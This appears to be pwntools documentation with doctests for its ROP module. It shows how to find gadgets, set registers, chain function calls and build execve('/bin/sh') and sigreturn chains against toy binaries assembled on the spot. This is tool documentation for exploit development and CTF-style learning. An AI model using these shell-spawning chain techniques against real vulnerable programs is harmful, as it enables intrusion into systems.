Manual ROP
-------------------

The ROP tool can be used to build stacks pretty trivially.
Let's create a fake binary which has some symbols which might
have been useful.

    >>> context.clear(arch='i386')
    >>> binary = ELF.from_assembly('add esp, 0x10; ret; pop eax; ret; pop ecx; pop ebx; ret')
    >>> binary.symbols = {'read': 0xdeadbeef, 'write': 0xdecafbad, 'execve': 0xcafebabe, 'exit': 0xfeedface}

Creating a ROP object which looks up symbols in the binary is pretty straightforward.

    >>> rop = ROP(binary)

Once to ROP object has been loaded, you can trivially find gadgets, by using magic properties on the ``ROP`` object.  
Each :class:`Gadget` has an ``address`` property which has the real address as well.

    >>> rop.eax
    Gadget(0x10000004, ['pop eax', 'ret'], ['eax'], 0x8)
    >>> hex(rop.eax.address)
    '0x10000004'

Other, more complicated gadgets also happen magically

    >>> rop.ecx
    Gadget(0x10000006, ['pop ecx', 'pop ebx', 'ret'], ['ecx', 'ebx'], 0xc)

The easiest way to set up individual registers is to invoke the ``ROP`` object as a callable, with the registers as arguments.
This has the benefit of using multi-pop gadgets to set multiple registers with one gadget.
    
    >>> rop(eax=0x11111111, ecx=0x22222222)

Setting register values this way accounts for padding and extra registers which are popped off the stack.
Values which are filled with garbage (i.e. are not used) are filled with the :func:`cyclic` pattern
which corresponds to their offset, which is useful when debuggging your exploit.

    >>> print(rop.dump())
    0x0000:       0x10000006 pop ecx; pop ebx; ret
    0x0004:       0x22222222
    0x0008:          b'caaa' <pad ebx>
    0x000c:       0x10000004 pop eax; ret
    0x0010:       0x11111111


If you really want to set one register at a time, you can also use the assignment form.
It's generally advised to use the rop(eax=..., ecx=...) form, since there may be an
e.g. ``pop eax; pop ecx; ret`` gadget that can be taken advantage of.

    >>> rop = ROP(binary)
    >>> rop.eax = 0xdeadf00d
    >>> rop.ecx = 0xc01dbeef
    >>> rop.raw(0xffffffff)
    >>> print(rop.dump())
    0x0000:       0x10000004 pop eax; ret
    0x0004:       0xdeadf00d
    0x0008:       0x10000006 pop ecx; pop ebx; ret
    0x000c:       0xc01dbeef
    0x0010:          b'eaaa' <pad ebx>
    0x0014:       0xffffffff

If you just want to FIND a ROP gadget, you can access them as a property on the ``ROP``
object by register name.

    >>> rop = ROP(binary)
    >>> rop.eax
    Gadget(0x10000004, ['pop eax', 'ret'], ['eax'], 0x8)
    >>> hex(rop.eax.address)
    '0x10000004'
    >>> rop.raw(rop.eax)
    >>> rop.raw(0x12345678)
    >>> print(rop.dump())
    0x0000:       0x10000004 pop eax; ret
    0x0004:       0x12345678

Let's re-create our ROP object now to show for some other examples.:

    >>> rop = ROP(binary)

With the ROP object, you can manually add stack frames.

    >>> rop.raw(0)
    >>> rop.raw(unpack(b'abcd'))
    >>> rop.raw(2)

Inspecting the ROP stack is easy, and laid out in an easy-to-read
manner.

    >>> print(rop.dump())
    0x0000:              0x0
    0x0004:       0x64636261
    0x0008:              0x2

The ROP module is also aware of how to make function calls with
standard Linux ABIs.

    >>> rop.call('read', [4,5,6])
    >>> print(rop.dump())
    0x0000:              0x0
    0x0004:       0x64636261
    0x0008:              0x2
    0x000c:       0xdeadbeef read(4, 5, 6)
    0x0010:          b'eaaa' <return address>
    0x0014:              0x4 arg0
    0x0018:              0x5 arg1
    0x001c:              0x6 arg2

You can also use a shorthand to invoke calls.
The stack is automatically adjusted for the next frame

    >>> rop.write(7,8,9)
    >>> rop.exit()
    >>> print(rop.dump())
    0x0000:              0x0
    0x0004:       0x64636261
    0x0008:              0x2
    0x000c:       0xdeadbeef read(4, 5, 6)
    0x0010:       0x10000000 <adjust @0x24> add esp, 0x10; ret
    0x0014:              0x4 arg0
    0x0018:              0x5 arg1
    0x001c:              0x6 arg2
    0x0020:          b'iaaa' <pad>
    0x0024:       0xdecafbad write(7, 8, 9)
    0x0028:       0xfeedface exit()
    0x002c:              0x7 arg0
    0x0030:              0x8 arg1
    0x0034:              0x9 arg2

You can also append complex arguments onto stack when the stack pointer is known.

    >>> rop = ROP(binary, base=0x7fffe000)
    >>> rop.call('execve', [b'/bin/sh', [[b'/bin/sh'], [b'-p'], [b'-c'], [b'ls']], 0])
    >>> print(rop.dump())
    0x7fffe000:       0xcafebabe execve([b'/bin/sh'], [[b'/bin/sh'], [b'-p'], [b'-c'], [b'ls']], 0)
    0x7fffe004:          b'baaa' <return address>
    0x7fffe008:       0x7fffe014 arg0 (+0xc)
    0x7fffe00c:       0x7fffe01c arg1 (+0x10)
    0x7fffe010:              0x0 arg2
    0x7fffe014:   b'/bin/sh\x00'
    0x7fffe01c:       0x7fffe02c (+0x10)
    0x7fffe020:       0x7fffe034 (+0x14)
    0x7fffe024:       0x7fffe038 (+0x14)
    0x7fffe028:       0x7fffe03c (+0x14)
    0x7fffe02c:   b'/bin/sh\x00'
    0x7fffe034:       b'-p\x00$'
    0x7fffe038:       b'-c\x00$'
    0x7fffe03c:       b'ls\x00$'

ROP also detects 'jmp $sp' gadget to help exploit binaries with NX disabled.
You can get this gadget on 'i386':

    >>> context.clear(arch='i386')
    >>> elf = ELF.from_assembly('nop; jmp esp; ret')
    >>> rop = ROP(elf)
    >>> jmp_gadget = rop.jmp_esp
    >>> elf.read(jmp_gadget.address, 2) == asm('jmp esp')
    True

You can also get this gadget on 'amd64':

    >>> context.clear(arch='amd64')
    >>> elf = ELF.from_assembly('nop; jmp rsp; ret')
    >>> rop = ROP(elf)
    >>> jmp_gadget = rop.jmp_rsp
    >>> elf.read(jmp_gadget.address, 2) == asm('jmp rsp')
    True

Gadgets whose address has badchar are filtered out:

    >>> context.clear(arch='i386')
    >>> elf = ELF.from_assembly('nop; pop eax; jmp esp; int 0x80; jmp esp; ret')
    >>> rop = ROP(elf, badchars=b'\x02')
    >>> jmp_gadget = rop.jmp_esp    # It returns the second gadget
    >>> elf.read(jmp_gadget.address, 2) == asm('jmp esp')
    True
    >>> rop = ROP(elf, badchars=b'\x02\x06')
    >>> rop.jmp_esp == None         # The address of both gadgets has badchar
    True

ROP Example
-------------------

Let's assume we have a trivial binary that just reads some data
onto the stack, and returns.

    >>> context.clear(arch='i386')
    >>> c = constants
    >>> assembly =  'read:'      + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
    >>> assembly += 'ret\n'

Let's provide some simple gadgets:

    >>> assembly += 'add_esp: add esp, 0x10; ret\n'

And perhaps a nice "write" function.

    >>> assembly += 'write: enter 0,0\n'
    >>> assembly += '    mov ebx, [ebp+4+4]\n'
    >>> assembly += '    mov ecx, [ebp+4+8]\n'
    >>> assembly += '    mov edx, [ebp+4+12]\n'
    >>> assembly += shellcraft.write('ebx', 'ecx', 'edx')
    >>> assembly += '    leave\n'
    >>> assembly += '    ret\n'
    >>> assembly += 'flag: .asciz "The flag"\n'

And a way to exit cleanly.

    >>> assembly += 'exit: ' + shellcraft.exit(0)
    >>> binary   = ELF.from_assembly(assembly)

Finally, let's build our ROP stack

    >>> rop = ROP(binary)
    >>> rop.write(c.STDOUT_FILENO, binary.symbols['flag'], 8)
    >>> rop.exit()
    >>> print(rop.dump())
    0x0000:       0x10000012 write(STDOUT_FILENO, 0x10000026, 8)
    0x0004:       0x1000002f exit()
    0x0008:              0x1 STDOUT_FILENO
    0x000c:       0x10000026 flag
    0x0010:              0x8 arg2

The raw data from the ROP stack is available via `r.chain()` (or `bytes(r)`).

    >>> raw_rop = rop.chain()
    >>> print(enhex(raw_rop))
    120000102f000010010000002600001008000000

Let's try it out!

    >>> p = process(binary.path)
    >>> p.send(raw_rop)
    >>> print(repr(p.recvall(timeout=5)))
    b'The flag'

ROP Example (amd64)
-------------------

For amd64 binaries, the registers are loaded off the stack.  Pwntools can do
basic reasoning about simple "pop; pop; add; ret"-style gadgets, and satisfy
requirements so that everything "just works".

    >>> context.clear(arch='amd64')
    >>> assembly = 'pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret; target: ret'
    >>> binary = ELF.from_assembly(assembly)
    >>> rop = ROP(binary)
    >>> rop.target(1,2,3)
    >>> print(rop.dump())
    0x0000:       0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret
    0x0008:              0x3 [arg2] rdx = 3
    0x0010:              0x1 [arg0] rdi = 1
    0x0018:              0x2 [arg1] rsi = 2
    0x0020:      b'iaaajaaa' <pad 0x20>
    0x0028:      b'kaaalaaa' <pad 0x18>
    0x0030:      b'maaanaaa' <pad 0x10>
    0x0038:      b'oaaapaaa' <pad 0x8>
    0x0040:       0x10000008 target
    >>> rop.target(1)
    >>> print(rop.dump())
    0x0000:       0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret
    0x0008:              0x3 [arg2] rdx = 3
    0x0010:              0x1 [arg0] rdi = 1
    0x0018:              0x2 [arg1] rsi = 2
    0x0020:      b'iaaajaaa' <pad 0x20>
    0x0028:      b'kaaalaaa' <pad 0x18>
    0x0030:      b'maaanaaa' <pad 0x10>
    0x0038:      b'oaaapaaa' <pad 0x8>
    0x0040:       0x10000008 target
    0x0048:       0x10000001 pop rdi; pop rsi; add rsp, 0x20; ret
    0x0050:              0x1 [arg0] rdi = 1
    0x0058:      b'waaaxaaa' <pad rsi>
    0x0060:      b'yaaazaab' <pad 0x20>
    0x0068:      b'baabcaab' <pad 0x18>
    0x0070:      b'daabeaab' <pad 0x10>
    0x0078:      b'faabgaab' <pad 0x8>
    0x0080:       0x10000008 target

Pwntools will also filter out some bad instructions while setting the registers
( e.g. syscall, int 0x80... )

    >>> assembly = 'syscall; pop rdx; pop rsi; ret ; pop rdi ; int 0x80; pop rsi; pop rdx; ret ; pop rdi ; ret'
    >>> binary = ELF.from_assembly(assembly)
    >>> rop = ROP(binary)
    >>> rop.call(0xdeadbeef, [1, 2, 3])
    >>> print(rop.dump())
    0x0000:       0x1000000b pop rdi; ret
    0x0008:              0x1 [arg0] rdi = 1
    0x0010:       0x10000002 pop rdx; pop rsi; ret
    0x0018:              0x3 [arg2] rdx = 3
    0x0020:              0x2 [arg1] rsi = 2
    0x0028:       0xdeadbeef

ROP + Sigreturn
-----------------------

In some cases, control of the desired register is not available.
However, if you have control of the stack, EAX, and can find a
`int 0x80` gadget, you can use sigreturn.

Even better, this happens automagically.

Our example binary will read some data onto the stack, and
not do anything else interesting.

    >>> context.clear(arch='i386')
    >>> c = constants
    >>> assembly =  'read:'      + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
    >>> assembly += 'ret\n'
    >>> assembly += 'pop eax; ret\n'
    >>> assembly += 'int 0x80\n'
    >>> assembly += 'binsh: .asciz "/bin/sh"'
    >>> binary    = ELF.from_assembly(assembly)

Let's create a ROP object and invoke the call.

    >>> context.kernel = 'amd64'
    >>> rop   = ROP(binary)
    >>> binsh = binary.symbols['binsh']
    >>> rop.execve(binsh, 0, 0)

That's all there is to it.

    >>> print(rop.dump())
    0x0000:       0x1000000e pop eax; ret
    0x0004:             0x77 [arg0] eax = SYS_sigreturn
    0x0008:       0x1000000b int 0x80; ret
    0x000c:              0x0 gs
    0x0010:              0x0 fs
    0x0014:              0x0 es
    0x0018:              0x0 ds
    0x001c:              0x0 edi
    0x0020:              0x0 esi
    0x0024:              0x0 ebp
    0x0028:              0x0 esp
    0x002c:       0x10000012 ebx = binsh
    0x0030:              0x0 edx
    0x0034:              0x0 ecx
    0x0038:              0xb eax = SYS_execve
    0x003c:              0x0 trapno
    0x0040:              0x0 err
    0x0044:       0x1000000b int 0x80; ret
    0x0048:             0x23 cs
    0x004c:              0x0 eflags
    0x0050:              0x0 esp_at_signal
    0x0054:             0x2b ss
    0x0058:              0x0 fpstate

Let's try it out!

    >>> p = process(binary.path)
    >>> p.send(rop.chain())
    >>> time.sleep(1)
    >>> p.sendline(b'echo hello; exit')
    >>> p.recvline()
    b'hello\n'
